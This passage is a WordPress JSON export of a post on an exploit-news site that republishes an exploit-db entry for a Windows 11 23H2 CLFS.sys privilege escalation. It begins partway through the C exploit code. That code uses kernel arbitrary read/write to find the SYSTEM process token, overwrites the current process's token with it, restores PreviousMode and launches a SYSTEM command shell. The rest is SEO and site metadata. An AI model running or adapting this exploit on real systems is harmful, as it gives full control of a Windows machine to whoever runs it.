INVALID_HANDLE_VALUE) {<br \/>\n<br \/>        printf(&#8220;CreateLogFile failed with error %d\\n&#8221;, GetLastError());<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        printf(&#8220;file opened successfully\\n&#8221;);<br \/>\n<br \/>    }<\/p>\n<p>    \/\/ Set the process priority to HIGH_PRIORITY_CLASS<br \/>\n<br \/>    if (SetPriorityClass(processHandle, NORMAL_PRIORITY_CLASS)) {<br \/>\n<br \/>        printf(&#8220;Process priority set to NORMAL_PRIORITY_CLASS.\\n&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        DWORD error = GetLastError();<br \/>\n<br \/>        printf(&#8220;Failed to set process priority. Error code: %lu\\n&#8221;, error);<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<br \/>\n<br \/>    if (SetThreadPriority(threadHandle, THREAD_PRIORITY_NORMAL)) {<br \/>\n<br \/>        printf(&#8220;Thread priority set to the highest level:<br \/>\n<br \/>THREAD_PRIORITY_NORMAL.\\n&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        DWORD error = GetLastError();<br \/>\n<br \/>        printf(&#8220;Failed to set thread priority. Error code: %lu\\n&#8221;, error);<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    printf(&#8220;vuln triggered\\n&#8221;);<\/p>\n<p>    printf(&#8220;reading base of ntoskrnl to check we have arbitrary<br \/>\n<br \/>read\/write\\n&#8221;);<\/p>\n<p>    NtReadVirtualMemory((HANDLE)-1, g_ntbase, &#038;buf, sizeof(buf), NULL);<\/p>\n<p>    printf(&#8220;buf = 0x%p\\n&#8221;, (DWORD64)buf);<\/p>\n<p>    printf(&#8220;swapping tokens&#8230;\\n&#8221;);<\/p>\n<p>    NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +<br \/>\n<br \/>PSACTIVEPROCESSHEAD_OFFSET), &#038;eprocess, sizeof(eprocess), NULL);<br \/>\n<br \/>    eprocess = eprocess &#8211; ACTIVEPROCESSLINKS_OFFSET;<\/p>\n<p>    NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),<br \/>\n<br \/>&#038;systemtoken, sizeof(systemtoken), NULL);<\/p>\n<p>    while (1) {<br \/>\n<br \/>        NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +<br \/>\n<br \/>ACTIVEPROCESSLINKS_OFFSET), &#038;eprocess, sizeof(eprocess), NULL);<\/p>\n<p>        eprocess -= ACTIVEPROCESSLINKS_OFFSET;<\/p>\n<p>        NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +<br \/>\n<br \/>UNIQUEPROCESSID_OFFSET), &#038;pid, sizeof(pid), NULL);<\/p>\n<p>        if (pid == (DWORD64)GetCurrentProcessId())<br \/>\n<br \/>            break;<br \/>\n<br \/>    }<\/p>\n<p>    printf(&#8220;current token address = 0x%p\\n&#8221;, eprocess + TOKEN_OFFSET);<br \/>\n<br \/>    printf(&#8220;systemtoken = 0x%p\\n&#8221;, systemtoken);<\/p>\n<p>    printf(&#8220;Overwriting process token..\\n&#8221;);<\/p>\n<p>    NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),<br \/>\n<br \/>&#038;systemtoken, sizeof(systemtoken), NULL);<\/p>\n<p>    printf(&#8220;token swapped. Restoring PreviousMode and spawning system<br \/>\n<br \/>shell&#8230;\\n&#8221;);<\/p>\n<p>    PreviousModeAddr = address_to_write;<br \/>\n<br \/>    PreviousMode = 0x1;<br \/>\n<br \/>    NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &#038;PreviousMode,<br \/>\n<br \/>sizeof(PreviousMode), NULL);<\/p>\n<p>    system(&#8220;cmd.exe&#8221;);<\/p>\n<p>    return 0;<br \/>\n<br \/>}\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52270\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege Exploit ID EDB-ID:52270 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-931","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=931\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege Exploit ID EDB-ID:52270 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=931\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-23T05:59:41+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=931#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=931\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege\",\"datePublished\":\"2025-04-23T05:59:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=931\"},\"wordCount\":700,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=931#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=931\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=931\",\"name\":\"Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-04-23T05:59:41+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=931#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=931\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=931#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=931","og_locale":"en_US","og_type":"article","og_title":"Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege Exploit ID EDB-ID:52270 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=931","og_site_name":"zero redgem","article_published_time":"2025-04-23T05:59:41+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=931#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=931"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege","datePublished":"2025-04-23T05:59:41+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=931"},"wordCount":700,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=931#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=931","url":"https:\/\/zero.redgem.net\/?p=931","name":"Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-04-23T05:59:41+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=931#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=931"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=931#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Microsoft Windows 11 23h2 &#8211; CLFS.sys Elevation of Privilege"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/931","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=931"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/931\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=931"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=931"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=931"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}